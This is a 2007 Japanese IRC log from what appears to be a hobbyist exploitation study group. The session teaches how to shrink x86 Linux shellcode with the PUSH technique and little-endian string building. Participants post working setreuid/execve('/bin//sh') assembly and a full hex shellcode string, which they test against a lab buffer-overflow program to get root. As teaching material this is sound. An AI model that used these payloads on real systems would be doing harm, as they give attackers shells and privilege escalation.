11月 04 05:04:31 * Now talking on #lykeion 11月 04 05:27:27 * be-be- (~be_be_@cririn.firefly.kutc.kansai-u.ac.jp) has joined #lykeion 11月 04 05:31:42 Defolos_ konnitiha 11月 04 05:37:10 Defolos_ てすと 11月 04 05:38:22 * rime_ (~rime@ntt8-ppp270.west.sannet.ne.jp) has joined #lykeion 11月 04 05:38:38 rime_ こんばんは 11月 04 05:38:59 rime_ お風呂です 11月 04 05:39:11 Defolos_ こんばんはー 11月 04 05:44:31 be-be- こんばんは 11月 04 05:46:41 * dari (~daryl003@p2039-ipbf1904marunouchi.tokyo.ocn.ne.jp) has joined #lykeion 11月 04 05:47:26 Defolos_ こんばんはー 11月 04 05:47:38 dari こんばんは 11月 04 05:47:47 dari ダリと申します 11月 04 05:48:02 dari 実力的に聴講だけになりそうですが 11月 04 05:48:09 dari よろしくお願いします 11月 04 05:49:16 Defolos_ 宜しくお願いします 11月 04 05:49:22 Defolos_ 一応、アカウントを作っておき間sね 11月 04 05:49:47 dari ありがとうございます 11月 04 05:50:57 * wahiko (~wahiko@softbank219021026008.bbtec.net) has joined #lykeion 11月 04 05:51:04 wahiko こんにちは 11月 04 05:52:13 Defolos_ こんにちは 11月 04 05:53:26 * IPUSIRON (~ipusiron@p17163-adsau16honb12-acca.tokyo.ocn.ne.jp) has joined #lykeion 11月 04 05:53:33 Defolos_ こんばんはー 11月 04 05:53:34 IPUSIRON こんばんは 11月 04 05:54:52 wahiko こんばんわ 11月 04 05:56:53 Defolos_ 準備にもう少々お待ち頂きたく思いまし **** Sun Nov 4 06:00:16 2007 でログ記録終了 **** Sun Nov 4 06:00:16 2007 からログ記録開始 11月 04 06:00:22 Defolos_ OKです 11月 04 06:00:28 Defolos_ 準備できました 11月 04 06:00:47 Defolos_ それでは、9時も回っていますので始めましょうか 11月 04 06:01:14 IPUSIRON 宜しくお願いします 11月 04 06:01:24 be-be- お願いします 11月 04 06:01:34 wahiko よろしくお願いします 11月 04 06:01:38 dari よろしくお願いします 11月 04 06:01:55 Defolos_ まず資料ですが、前回と同じ物を使います。 11月 04 06:01:58 Defolos_ http://ruffnex.oc.to/defolos/exploiting/exploiting_practice/data/exploiting-03.html 11月 04 06:02:04 Defolos_ を参照ください。 11月 04 06:02:22 Defolos_ 前回はシェルコードを作成する所まで終っていますので 11月 04 06:02:36 Defolos_ 今回はこのシェルコードをさらに小型化してみましょう 11月 04 06:02:57 * kotto (~username@p1068-ipad09yosida.nagano.ocn.ne.jp) has joined #lykeion 11月 04 06:03:03 Defolos_ こんにちはー 11月 04 06:03:04 kotto こんばんは 11月 04 06:03:21 kotto 初めまして、よろしくお願いします 11月 04 06:03:32 IPUSIRON こんばんは 11月 04 06:03:36 Defolos_ 宜しくお願いします 11月 04 06:04:09 Defolos_ 資料の「シェルコードの小型化」を御覧ください 11月 04 06:04:13 kotto はい 11月 04 06:04:28 Defolos_ そこにも書いてありますように 11月 04 06:04:54 Defolos_ シェルコードはこれから3つのテクニックを使う事でさらに小さくする事が可能です 11月 04 06:05:17 Defolos_ ひとつめは文字列生成の方法を変えることです 11月 04 06:05:38 Defolos_ ふたつめはシステムコール番号をEAXに入れる手法を変える事です 11月 04 06:05:56 Defolos_ みっつめはCDP命令の利用です 11月 04 06:06:22 Defolos_ なお、ここで作成した小型版シェルコードは今後利用しまくりますので 11月 04 06:06:31 Defolos_ がんばって作って行きましょう 11月 04 06:07:13 Defolos_ まず 11月 04 06:07:23 Defolos_ 文字列生成の方法に付いて述べます 11月 04 06:08:39 Defolos_ EXECVEに渡す文字列の生成には、前回は元もとメモリに保持した文字列をCALL/JMPしたり、0を指定席に格納したりして生成しました 11月 04 06:09:09 Defolos_ この方法以外にも、PUSHテクニックと呼ばれる文字列の生成方法があります 11月 04 06:10:13 Defolos_ PUSHテクニックは、スタックがメモリの高位から低位へむかって延びる事を利用したテクニックです 11月 04 06:10:32 Defolos_ まずはじめに、NULLをプッシュします 11月 04 06:10:46 Defolos_ 次に何らかの文字列をプッシュすると 11月 04 06:11:13 Defolos_ メモリの中は左を低位、右を高位とすると次のようになります 11月 04 06:11:49 Defolos_ (L) aaaa 0000 (H) 11月 04 06:12:28 Defolos_ これで、aの先頭を示すアドレスを取得できれば、れっきとしたaaaaという文字列が取得できた事になります 11月 04 06:13:40 Defolos_ コンピュータはメモリの低位から高位に無かってアクセスされるので、先頭のaから末尾の0に出会うまでを文字列として扱ってくれます 11月 04 06:13:49 Defolos_ これを応用するわけです 11月 04 06:14:18 Defolos_ ここで注意して頂く事が一点あります 11月 04 06:14:46 Defolos_ 私達が普段使っているコンピュータ、というかCPUは 11月 04 06:15:09 Defolos_ リトルエンディアンというメモリのアクセス方法を採用しています 11月 04 06:16:24 Defolos_ これは、メモリを順番にみていくのではなく 11月 04 06:17:01 Defolos_ 8ビットづつに区切って順番を入れ換えて見て行くアクセス方法です 11月 04 06:17:20 Defolos_ これを聞いてもわけワカメだと思いますので、具体例をあげてみます 11月 04 06:18:03 * rariko (~rariko@194.143.200.121.megaegg.ne.jp) has joined #lykeion 11月 04 06:18:24 Defolos_ 例えば、/binという文字列は 11月 04 06:18:53 Defolos_ 普通に見ると 2f 62 69 6e と表されます 11月 04 06:19:04 Defolos_ つまり、2fが/ですね 11月 04 06:19:25 Defolos_ 16進2桁で8ビットですので 11月 04 06:19:38 Defolos_ それをまず区切ります 11月 04 06:20:01 Defolos_ 2f 62 69 6e こんな感じになるわけですが、リトルエンディアンでは 11月 04 06:20:34 Defolos_ 文字の順番をまるのまま逆にすることで正しい文字列を与える事ができます 11月 04 06:21:47 Defolos_ テスト 11月 04 06:21:55 Defolos_ /binという文字列を与えたければ、nib/というように文字列を構成します 11月 04 06:22:50 Defolos_ 16進で表示すれば、/binを構成するには6e 69 62 2fというような文字列を構成します 11月 04 06:23:29 Defolos_ 少々説明が繁雑でしたが、ようは文字の順番をまるっきり逆にするのだと覚えて頂ければ結構かと思います 11月 04 06:24:08 Defolos_ 何文字分づつ逆にするのかと言いますと、4文字ですので、それも覚えておいてください 11月 04 06:25:00 Defolos_ 例えば、hellowordl!!でしたら、4文字づつくぎって 11月 04 06:25:17 Defolos_ hell owor ld!! 11月 04 06:25:36 Defolos_ これをそれぞれの区切り毎に順番を間逆にして 11月 04 06:25:48 Defolos_ lleh rowo !!dl 11月 04 06:25:51 Defolos_ みたいにします 11月 04 06:26:17 Defolos_ ちなみに、リトルがあるならビッグもあるようで、 11月 04 06:26:49 Defolos_ ビッグエンディアンはそのままhelloworld!!はhelloworld!!です 11月 04 06:27:25 Defolos_ 用語の語源はガリバー冒険記に出て来るコビトの種族らしいです 11月 04 06:27:43 Defolos_ さて、ここまででご質問はありますでしょうか 11月 04 06:28:14 kotto 大丈夫です 11月 04 06:28:21 wahiko はい 11月 04 06:28:57 be-be- はい 11月 04 06:29:09 Defolos_ それでは続けたいと思います。質問は適宜、割り込んでもらって結構ですので 11月 04 06:29:17 rariko あ、初日から遅れてすみませんでした。今日から参加しますのでよろしくおねがいします 11月 04 06:29:26 Defolos_ 宜しくお願いしますー 11月 04 06:30:00 Defolos_ 今資料のPUSHテクニックの所です>RARIKOさん 11月 04 06:30:28 rariko はい、了解です 11月 04 06:30:50 Defolos_ それでは、このリトルエンディアンという特性を考慮しながら、/bin/shという文字列を作ってみましょう 11月 04 06:31:00 Defolos_ (PUSHテクニックで) 11月 04 06:31:17 Defolos_ 資料のPUSHテクニックのところの図を御覧ください 11月 04 06:31:51 Defolos_ まず、/bin/shという文字列の長さに注目してください 11月 04 06:32:03 Defolos_ 7文字しかありませんね 11月 04 06:32:36 Defolos_ ということは、リトルエンディアンで構成した場合、1文字分おかしな事になってしまいます 11月 04 06:33:39 Defolos_ リトルエンディアンでは4文字ずつ区切らないと行けないので、何らかのパディングが必要になります 11月 04 06:34:34 Defolos_ /shの最後に00を格納するのも考えられますが 11月 04 06:34:52 Defolos_ これだとシェルコード中にNULLが出現してしまいます 11月 04 06:35:20 Defolos_ そこで、/bin/shという文字列を構成する変わりに/bin//shという文字列で代用します 11月 04 06:35:33 Defolos_ 実は、どちらでも同じSHが起動するのです 11月 04 06:36:04 Defolos_ これでリトルエンディアンにまつわる問題は解決しました 11月 04 06:36:15 Defolos_ 次に、具体的に構成方法を見て行きます 11月 04 06:36:34 Defolos_ まず、NULLを4バイトプッシュします 11月 04 06:36:52 Defolos_ 次に、//shをプッシュします 11月 04 06:37:22 Defolos_ これは、リトルエンディアンを考慮すると、68732f2fという値をプッシュする事になりまs 11月 04 06:37:43 Defolos_ 次に、/binつまり6e69622fをプッシュします 11月 04 06:38:01 Defolos_ 最後に、現在のスタックポインタの値を取り出せば 11月 04 06:38:21 Defolos_ そのスタックポインタを使って文字列へアクセスが可能となります 11月 04 06:38:28 Defolos_ このときのメモリは次のようになっています 11月 04 06:38:53 Defolos_ (L) /bin //sh 0000 (H) 11月 04 06:39:38 Defolos_ 一番最後の手順で取得したスタックポインタは一番左の位置、つまり、/が格納されているメモリを示します 11月 04 06:40:46 Defolos_ 一番左は低位アドレスであり、メモリの低位から高位にむかって0を見付けるまでを文字列として扱うため 11月 04 06:41:01 Defolos_ これで/bin//shという文字列を生成できたことと等しくなります 11月 04 06:41:22 Defolos_ このようにして文字列を生成することも可能なのです 11月 04 06:41:43 Defolos_ ここまではOKでしょうか 11月 04 06:41:56 kotto OKです 11月 04 06:42:00 wahiko はい 11月 04 06:42:15 rariko 問題ありません 11月 04 06:42:22 be-be- 大丈夫です 11月 04 06:42:57 Defolos_ それでは次に移りますね 11月 04 06:43:54 Defolos_ 次に、実際にEXECVEへの引数として渡すべき文字列を、PUSHテクニックで作る方法を紹介します 11月 04 06:44:30 Defolos_ EXECVEはプログラムの中から、別のプログラムを呼び出す機能でした 11月 04 06:45:55 Defolos_ この引数には、起動したいプログラムへのパス、新しいプログラムへ渡される引き数が格納されたアドレスのアドレス、新しいプログラムへ渡される環境変数が格納されたアドレスのアドレス 11月 04 06:46:06 Defolos_ を指定しなければなりません 11月 04 06:46:40 Defolos_ それでは、どんな風に作って行くのか見てみましょう 11月 04 06:46:52 Defolos_ まず、NULLを4バイトプッシュします 11月 04 06:47:07 Defolos_ 次に//shをプッシュします 11月 04 06:47:16 Defolos_ 次に、/binをプッシュします 11月 04 06:47:38 Defolos_ ここで、スタックポインタ(ESP)の値をEBXレジスタに保存します 11月 04 06:47:54 Defolos_ ここまでは先程までと変わらないですね 11月 04 06:48:40 Defolos_ EXECVEシステムコールではEBXに起動したいプログラムへのパスを入れるので 11月 04 06:49:33 Defolos_ /bin//shという文字列の先頭アドレスであるESPの値をEBXにコピーすれば良いわけです 11月 04 06:49:57 Defolos_ それで、次にもう一度NULLを4バイトプッシュします 11月 04 06:50:09 Defolos_ 次に、EBXの値をプッシュします 11月 04 06:50:25 Defolos_ EBXには文字列へのアドレスが入っていました 11月 04 06:50:54 Defolos_ 最後にスタックポインタ(ESP)の値をECXにコピーします 11月 04 06:51:21 Defolos_ 具体的にメモリがどんな風になっているのか示しますと 11月 04 06:51:59 Defolos_ (L) [ADD] 0000 /bin //sh 0000 (H) 11月 04 06:52:05 Defolos_ こんな感じです 11月 04 06:52:20 Defolos_ ADDのところには/bin//shへのアドレスが入ってます 11月 04 06:53:33 Defolos_ /bin//shへのアドレスをEBXに、[ADD]へのアドレスをECXに入れれば、必要な引数をちゃんと構成できたことになりますね 11月 04 06:54:00 Defolos_ ここまで大丈夫でしたでしょうか 11月 04 06:54:31 IPUSIRON はい 11月 04 06:54:33 be-be- 大丈夫です 11月 04 06:54:40 wahiko はい 11月 04 06:54:50 kotto 大丈夫です 11月 04 06:55:05 rariko ということは[ADD]にはEBXの値が入ってるんですよね? 11月 04 06:55:11 Defolos_ はい 11月 04 06:55:19 rariko はい、わかりました 11月 04 06:55:25 Defolos_ EBXに入ってる値が格納されています 11月 04 06:55:56 Defolos_ では、このプッシュテクニックを使って文字列を生成するシェルコードを組んでみましょうか 11月 04 06:56:55 Defolos_ 前回作ったプログラムが無い方はこちらで用意致します 11月 04 06:57:19 Defolos_ 前回作った、と言う方はそれを利用してプッシュテクニックを試してみてください 11月 04 07:00:18 Defolos_ SASワークスペースにshellcode.sという名前でサンプルを作っておきました 11月 04 07:00:32 * rime_ has quit ("Leaving...") 11月 04 07:00:51 Defolos_ これをコピーして、プッシュテクニックを実現して欲しいと思います。 11月 04 07:01:07 * Offering DCC CHAT to dari 11月 04 07:01:57 Defolos_ あ 11月 04 07:02:00 be-be- glazheim.mydns.jpにsshでログインできません 11月 04 07:02:07 Defolos_ Σ 11月 04 07:02:10 IPUSIRON 自分もアクセスできないです 11月 04 07:02:20 Defolos_ あれれ? 11月 04 07:02:41 wahiko ping打ってもつながりませぬ 11月 04 07:03:09 Defolos_ もしかして登録期限キレてたかも/// 11月 04 07:03:23 kotto IPは引けてますが 11月 04 07:03:25 wahiko IPはどうです 11月 04 07:04:08 * DCC CHAT to dari timed out - aborting. 11月 04 07:05:04 Defolos_ 220.145.21.19 11月 04 07:05:09 Defolos_ でアクセスできませんでしょうか 11月 04 07:05:22 be-be- IPで叩いても同じみたいです 11月 04 07:06:23 Defolos_ おかしいですねぇ// 11月 04 07:06:48 wahiko 動的IPですか 11月 04 07:06:58 Defolos_ はい 11月 04 07:07:13 Defolos_ MYDNSに登録してドメイン使えるようにしているわけですが 11月 04 07:07:17 wahiko IPが変わっているかもしれません、 11月 04 07:07:40 Defolos_ 先程更新かけたので 11月 04 07:07:48 Defolos_ まだ反映されてないだけかなぁ 11月 04 07:08:32 Defolos_ こっちからはドメイン名でピンが通じる// 11月 04 07:08:41 wahiko ルータは? 11月 04 07:09:35 Defolos_ IPマスカレード設定してますね 11月 04 07:10:00 wahiko IPフォワードやDMZ設定はしていますか 11月 04 07:10:09 Defolos_ ひょっとしてこれのせいかも 11月 04 07:10:41 wahiko http://www.cman.jp/network/support/port.html 11月 04 07:11:22 wahiko 外側から22番ポートがつながっているか調べてみては 11月 04 07:12:13 Defolos_ たぶん、プライベートアドレスが変わったのが原因です 11月 04 07:12:28 Defolos_ 168。10をポート22につなぐようにしてたのに 11月 04 07:12:45 Defolos_ 今調べたら168。0。4になってました 11月 04 07:14:10 Defolos_ しかも、ルータのパスワード忘れました;; 11月 04 07:14:40 Defolos_ 少々お待ちください 11月 04 07:14:45 wahiko はい 11月 04 07:14:49 be-be- はい 11月 04 07:15:57 Defolos_ OKです 11月 04 07:16:10 Defolos_ これでうまくいってるはず 11月 04 07:17:56 Defolos_ IP 219.116.14.142 に変わりました 11月 04 07:20:05 Defolos_ IPじゃないとアクセスできないかもです。。。 11月 04 07:24:42 Defolos_ アクセスできそうですか? 11月 04 07:28:22 Defolos_ 何故か無理そうですね。。。 11月 04 07:29:45 Defolos_ では、今回はコンパイル無しで作成だけを主にして行きましょうか 11月 04 07:30:28 Defolos_ コードをIRCで公表する形で問題点を指摘しあったりしましょう 11月 04 07:30:53 Defolos_ 今回は準備不足で申し訳ありませんでした 11月 04 07:31:05 Defolos_ 次回までには接続できるようにしておきます 11月 04 07:31:36 Defolos_ サンプルの中身はこんな感じです 11月 04 07:31:54 Defolos_ .global main 11月 04 07:31:54 Defolos_ main: 11月 04 07:31:54 Defolos_ jmp ONE 11月 04 07:31:54 Defolos_ TWO: 11月 04 07:31:54 Defolos_ popl %ebx 11月 04 07:31:54 Defolos_ xorl %eax, %eax 11月 04 07:31:54 Defolos_ movl %eax, 7(%ebx) 11月 04 07:31:54 Defolos_ mov %ebx, 8(%ebx) 11月 04 07:31:54 Defolos_ mov %eax, 12(%ebx) 11月 04 07:31:54 Defolos_ mov $11, %al 11月 04 07:31:54 Defolos_ leal 8(%ebx), %ecx 11月 04 07:31:54 Defolos_ leal 12(%ebx), %edx 11月 04 07:31:54 Defolos_ int $0x80 11月 04 07:31:54 Defolos_ ONE: 11月 04 07:31:54 Defolos_ call TWO 11月 04 07:31:54 Defolos_ .string "/bin/sh" 11月 04 07:32:34 * Disconnected (接続タイムアウトです). **** Sun Nov 4 07:32:34 2007 でログ記録終了 **** Sun Nov 4 07:33:44 2007 からログ記録開始 11月 04 07:33:44 * Now talking on #lykeion 11月 04 07:34:00 Defolos_ konnnitiha 11月 04 07:34:02 rariko おかえりなさいませ 11月 04 07:34:10 be-be- おかえりなさい 11月 04 07:34:25 Defolos_ mousiwake arimasenn desita 11月 04 07:34:26 wahiko おかえりなさい 11月 04 07:34:33 dari おかえりなさい 11月 04 07:34:38 kotto おかえりなさい 11月 04 07:35:08 Defolos_ are? 11月 04 07:35:25 Defolos_ japanese input method is not working 11月 04 07:37:59 Defolos_ I'll restart. sorry. 11月 04 07:38:02 Tcl interface unloaded 11月 04 07:38:02 Python interface unloaded **** Sun Nov 4 07:38:02 2007 でログ記録終了 **** Sun Nov 4 07:39:50 2007 からログ記録開始 11月 04 07:39:50 * Now talking on #lykeion 11月 04 07:39:55 Defolos_ ただいま 11月 04 07:40:01 Defolos_ お待たせして申し訳ありませんでした 11月 04 07:40:29 rariko 今度こそおかえりなさい 11月 04 07:40:43 Defolos_ どうやら接続が切れてしまったようで、長い間一人ではなしてたのではないかと思います 11月 04 07:40:49 Defolos_ どこまで話していましたか? 11月 04 07:41:55 rariko PUSHの応用テクニックを説明して、いよいよ実機にログインってところですかね 11月 04 07:42:14 Defolos_ あ、えと 11月 04 07:42:18 Defolos_ いろいろ頑張った所 11月 04 07:42:24 Defolos_ ログインできそうに無かったので 11月 04 07:42:46 Defolos_ 今回はソースコードをIRCで公開して、問題点がないかどうか話し合うスタイルにしようと思います 11月 04 07:43:45 Defolos_ 皆さん前回のシェルコードのソースはお持ちでしょうか 11月 04 07:43:49 kotto DefolosさんのIPは219.116.14.142 11月 04 07:43:51 kotto ですよね 11月 04 07:44:03 Defolos_ そのはずです 11月 04 07:44:06 kotto 入れそうな気がしますが・・・ 11月 04 07:44:41 kotto $ ssh 219.116.14.142 11月 04 07:44:42 kotto de 11月 04 07:44:46 kotto パスワード聞かれますが 11月 04 07:44:50 rariko 確かにSSHからの応答がありますね 11月 04 07:45:01 Defolos_ え、反応はありましたか 11月 04 07:45:09 kotto ありますよ 11月 04 07:45:12 wahiko SSH 11月 04 07:45:14 wahiko no 11月 04 07:45:14 be-be- 入れましたけど・・ 11月 04 07:45:16 Defolos_ あ 11月 04 07:45:21 Defolos_ しまった。 11月 04 07:45:21 wahiko の反応ありました 11月 04 07:45:37 Defolos_ 最近加入してもらった方はまだアカウントができてないかも/// 11月 04 07:47:03 Defolos_ kottoさん、rarikoさん、dariさん、アカウントを作りましたので 11月 04 07:47:16 Defolos_ 今のIRCユーザ名でログインしてください 11月 04 07:47:18 kotto はい 11月 04 07:47:23 Defolos_ パスワードは一律でsasですので 11月 04 07:47:29 Defolos_ すぐに語変更ください 11月 04 07:47:36 dari はい 11月 04 07:48:25 wahiko ごめんなさい、前のパスワードを忘れてしまいました 11月 04 07:48:31 Defolos_ 了解 11月 04 07:48:38 kotto Permission deniedです 11月 04 07:48:54 Defolos_ sas二変えました>wahikoさん 11月 04 07:49:11 wahiko 有難うございますm(__)m 11月 04 07:50:07 rariko passはsasですよね?Permission denied (publickey,keyboard-interactive).になりますが・・・ 11月 04 07:50:08 Defolos_ >KOTTOさん もう一度試してもらえませんか? 11月 04 07:50:32 kotto だめですね 11月 04 07:50:34 Defolos_ あれ? 11月 04 07:50:37 kotto らりこさんと同じ状況です 11月 04 07:51:01 Defolos_ dariさんは入れてるんですね 11月 04 07:51:18 dari はい入れました 11月 04 07:51:24 wahiko 僕のは(Using keyboard-interactive authentication)になります 11月 04 07:51:25 Defolos_ これでどうかな? 11月 04 07:51:49 kotto はいれました 11月 04 07:51:56 rariko こっちもOKです 11月 04 07:51:56 Defolos_ あ、やっぱり。。。 11月 04 07:52:13 Defolos_ SSH再起動するの忘れてました。 11月 04 07:52:40 Defolos_ シェルコードのサンプルはSASワークスペース内にshellcode.sとして老いておきました 11月 04 07:53:14 Defolos_ 大変時間をとらせてしまって申し訳ありませんでした;; 11月 04 07:53:22 rariko すみません、SASワークスペースってどこでしょう; 11月 04 07:53:35 Defolos_ /home/SAS_Workspaceです 11月 04 07:53:45 rariko 了解です 11月 04 07:54:06 Defolos_ それでは作って行きましょう 11月 04 07:55:46 Defolos_ 後、objdumpの出力結果をシェルコード形式に変換するソフトを作っておきました 11月 04 07:56:06 Defolos_ SASワークスペースのcodec.exeというのがそれです 11月 04 07:56:29 Defolos_ 使い方は、objdumpの出力結果を保存したファイルを引数に指定すれば 11月 04 07:56:41 Defolos_ 画面に変換結果が表示される仕組みです 11月 04 07:56:51 Defolos_ ./codec.exe test.txt 11月 04 07:56:55 Defolos_ みたいに使います 11月 04 07:57:20 IPUSIRON 作るというのは何を作るのですか?(確認) 11月 04 07:57:48 IPUSIRON shellcode.sを使って、pushテクニックを利用して、何を? 11月 04 07:57:56 Defolos_ 前回のシェルコードのソースを、PUSHテクニックを使って文字列を生成するように変更しましょう 11月 04 07:58:09 IPUSIRON 例題3.3の小型化を意味してますか? 11月 04 07:58:11 Defolos_ ということですー 11月 04 07:58:24 IPUSIRON わかりました 11月 04 07:58:35 Defolos_ 例題3。3の、プッシュテクニックのみを使ったバージョンですね 11月 04 07:59:05 Defolos_ 他の2つの技術は後から付け加えるようにして変更できますので 11月 04 07:59:26 IPUSIRON jmp/callテクニックは不要になるということですよね? 11月 04 07:59:52 Defolos_ はい 11月 04 08:00:34 Defolos_ JMP/CALLテクニックの代わりの方法がPUSHテクニックだと言えますね 11月 04 08:01:47 Defolos_ ちょっと話が前後してしまいますが、objdumpの出力結果をファイルに保存するにはリダイレクションを使うといいと思います 11月 04 08:02:01 Defolos_ objdump -d a.out|grep \ -A 30 > test.txt 11月 04 08:02:05 Defolos_ みたいにして使います 11月 04 08:08:05 IPUSIRON そのobjdumpのコマンド使うと、-Aオプションが違いますとかでるような気がしますが 11月 04 08:08:25 Defolos_ え、出ました? 11月 04 08:08:34 IPUSIRON -Aオプション自体ないのでは? 11月 04 08:09:01 IPUSIRON -aはあるようですが 11月 04 08:09:22 Defolos_ うーん。ヘルプ見た限りではないようですが 11月 04 08:10:04 IPUSIRON ああ 11月 04 08:10:07 IPUSIRON 私のミスです 11月 04 08:10:13 IPUSIRON |入れるの忘れてました… 11月 04 08:10:19 Defolos_ ^^; 11月 04 08:10:35 Defolos_ あ、ーAオプションは 11月 04 08:10:42 wahiko こうしたコマンドはできますか? pushl $68732f2f 11月 04 08:10:45 Defolos_ OBJDUMPのオプションではなく 11月 04 08:11:02 Defolos_ 可能です>和彦さん 11月 04 08:11:13 Defolos_ ただ、先頭に16進数を表す文字が必要ですね 11月 04 08:11:30 Defolos_ ーAオプションはGREPのオプションでした 11月 04 08:11:34 IPUSIRON はい 11月 04 08:11:40 IPUSIRON |grepが抜けてました… 11月 04 08:14:50 IPUSIRON sh-2.05b$というプロンプトでましたがうまくいったのかな… 11月 04 08:15:01 Defolos_ うまく行ってます 11月 04 08:15:19 kotto 作ったものを試したいのですが 11月 04 08:15:27 Defolos_ 今回、SETREUIDを呼ぶのを忘れてたような気がします。。。 11月 04 08:15:34 Defolos_ はい 11月 04 08:15:42 kotto 第2回のテスト用のプログラムでいいのでしょうか 11月 04 08:15:49 Defolos_ OKです 11月 04 08:16:43 wahiko こちらも2回目のを使います 11月 04 08:16:54 * rariko has quit ("TakIRC") 11月 04 08:17:30 Defolos_ はい 11月 04 08:18:27 kotto セグメンテーション違反が起きてしまいました 11月 04 08:18:36 Defolos_ Σ 11月 04 08:18:56 Defolos_ 変換のときにミスがあったのかも/// 11月 04 08:24:10 wahiko 僕も「セグメンテーション違反です」と出ました 11月 04 08:24:29 Defolos_ Σ 11月 04 08:24:46 Defolos_ どんなソースを書いたのですか? 11月 04 08:25:29 -wahiko/#lykeion- 0804833c
: 11月 04 08:25:29 -wahiko/#lykeion- 804833c: 31 db xor %ebx,%ebx 11月 04 08:25:29 -wahiko/#lykeion- 804833e: 31 c9 xor %ecx,%ecx 11月 04 08:25:29 -wahiko/#lykeion- 8048340: b0 46 mov $0x46,%al 11月 04 08:25:29 -wahiko/#lykeion- 8048342: cd 80 int $0x80 11月 04 08:25:30 -wahiko/#lykeion- 8048344: 51 push %ecx 11月 04 08:25:32 -wahiko/#lykeion- 8048345: 68 2f 2f 73 68 push $0x68732f2f 11月 04 08:25:34 -wahiko/#lykeion- 804834a: 68 2f 62 69 6e push $0x6e69622f 11月 04 08:25:36 -wahiko/#lykeion- 804834f: 5b pop %ebx 11月 04 08:25:38 -wahiko/#lykeion- 8048350: 51 push %ecx 11月 04 08:25:40 -wahiko/#lykeion- 8048351: 53 push %ebx 11月 04 08:25:42 -wahiko/#lykeion- 8048352: 59 pop %ecx 11月 04 08:25:44 -wahiko/#lykeion- 8048353: 31 c0 xor %eax,%eax 11月 04 08:25:46 -wahiko/#lykeion- 8048355: b0 0b mov $0xb,%al 11月 04 08:25:48 -wahiko/#lykeion- 8048357: cd 80 int $0x80 11月 04 08:25:50 -wahiko/#lykeion- 8048359: 90 nop 11月 04 08:25:55 wahiko ここから90までをシェルコードにしました 11月 04 08:26:55 Defolos_ あ 11月 04 08:27:06 Defolos_ 804834f: 5b pop %ebx 11月 04 08:27:13 Defolos_ ここでPOPしちゃうとまずいかも 11月 04 08:27:32 Defolos_ POPはスタックに積んだデータを取り出す命令ですので 11月 04 08:27:41 wahiko あ 11月 04 08:27:46 Defolos_ 文字列として構成した一部がPOPによって失われちゃいます 11月 04 08:28:15 wahiko スタックポイントのアドレスを入れればいいのですね 11月 04 08:28:37 Defolos_ そうです 11月 04 08:28:58 Defolos_ スタックポインタはESPに入ってますので 11月 04 08:29:11 Defolos_ その中身をコピーすればOKだと思います 11月 04 08:29:59 wahiko mov %esp, %ebx 11月 04 08:30:24 Defolos_ そんな感じです 11月 04 08:30:31 wahiko はい、試してみます 11月 04 08:38:43 be-be- こんな感じでどうでしょうか? 11月 04 08:38:46 -be-be-/#lykeion- .global main 11月 04 08:38:46 -be-be-/#lykeion- main: 11月 04 08:38:46 -be-be-/#lykeion- xorl %eax, %eax 11月 04 08:38:46 -be-be-/#lykeion- pushl %eax 11月 04 08:38:46 -be-be-/#lykeion- pushl $0x68732f2f 11月 04 08:38:47 -be-be-/#lykeion- pushl $0x6e69622f 11月 04 08:38:49 -be-be-/#lykeion- movl %esp, %ebx 11月 04 08:38:51 -be-be-/#lykeion- pushl %eax 11月 04 08:38:53 -be-be-/#lykeion- pushl %ebx 11月 04 08:38:55 -be-be-/#lykeion- movl %esp, %ecx 11月 04 08:38:57 -be-be-/#lykeion- mov $11, %al 11月 04 08:38:59 -be-be-/#lykeion- int $0x80 11月 04 08:39:33 Defolos_ 問題ないと思います 11月 04 08:39:35 Defolos_ 後は 11月 04 08:39:50 Defolos_ EXECVEの第3引数を指定しなければならないですね 11月 04 08:40:06 be-be- そうでした… 11月 04 08:45:25 kotto 一応シェル起動できました 11月 04 08:45:35 Defolos_ お、できましたか 11月 04 08:45:56 kotto ただ、rootはとれてません 11月 04 08:46:11 Defolos_ 試したのはどのプログラムですか? 11月 04 08:46:34 kotto Cのほうですか? 11月 04 08:47:11 Defolos_ 第2回出紹介したテスト用プログラムを使いました? 11月 04 08:47:16 kotto はい 11月 04 08:47:31 Defolos_ あ、そっちのほうはSUIDROOTの設定していませんので 11月 04 08:47:37 Defolos_ ROOTはとれないようになってます 11月 04 08:47:47 kotto なるほど 11月 04 08:48:10 Defolos_ EXPLOITのサンプルとして出したやつだとROOTとれるかも知れませんが 11月 04 08:48:52 Defolos_ 私のアカウントで試した所、どうもSASワークスペースへのアクセス権がないらしく 11月 04 08:49:05 Defolos_ bo-test.exeを呼び出せませんでした;; 11月 04 08:49:24 kotto rootだけになってますね 11月 04 08:51:29 Defolos_ あはは、私だけ別グループに入ってるからか/// 11月 04 08:53:20 Defolos_ あ、ところでKOTTOさんはどんなコード書きました? 11月 04 08:53:36 kotto main: 11月 04 08:53:37 kotto xor %eax, %eax 11月 04 08:53:37 kotto xor %ebx, %ebx 11月 04 08:53:37 kotto mov $0x46, %al 11月 04 08:53:37 kotto int $0x80 11月 04 08:53:37 kotto xor %eax, %eax 11月 04 08:53:39 kotto push %eax 11月 04 08:53:41 kotto push $0x68732f2f 11月 04 08:53:43 kotto push $0x6e69622f 11月 04 08:53:45 kotto mov %esp, %ebx 11月 04 08:53:47 kotto push %eax 11月 04 08:53:49 kotto push %ebx 11月 04 08:53:51 kotto mov %esp, %ecx 11月 04 08:53:53 kotto xor %edx, %edx 11月 04 08:53:55 kotto mov $0xb, %al 11月 04 08:53:57 kotto int $0x80 11月 04 08:53:59 kotto こんなかんじです 11月 04 08:55:10 Defolos_ なるほろ 11月 04 08:58:20 Defolos_ ものすごく、苦戦中です^^; 11月 04 09:03:29 Defolos_ 皆さんどんな感じですか? 11月 04 09:03:46 be-be- 一応shellに入りました 11月 04 09:04:12 IPUSIRON シェルは起動されました 11月 04 09:04:46 Defolos_ あれ? シェルさえ起動できなかったのは私だけですか;; 11月 04 09:05:01 wahiko こっちもできませんでした 11月 04 09:05:41 Defolos_ おかしいですねぇTT 11月 04 09:06:16 Defolos_ 今日はちょっと時間があれですので、今回の続きはまた次回に持ち越しましょうか 11月 04 09:06:25 wahiko kottoさんのソースを借りて試してみましたが無理でした 11月 04 09:06:36 kotto 何故でしょう 11月 04 09:06:49 kotto どこまでペイロードにいれていますか? 11月 04 09:07:07 Defolos_ 私はNOPが始まる前までにしてます 11月 04 09:07:23 kotto 私もそうしました 11月 04 09:07:31 wahiko 31c031dbb046cd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd8090 11月 04 09:07:36 wahiko こんなかんじで 11月 04 09:07:46 kotto 私は最後の90が無しです 11月 04 09:07:54 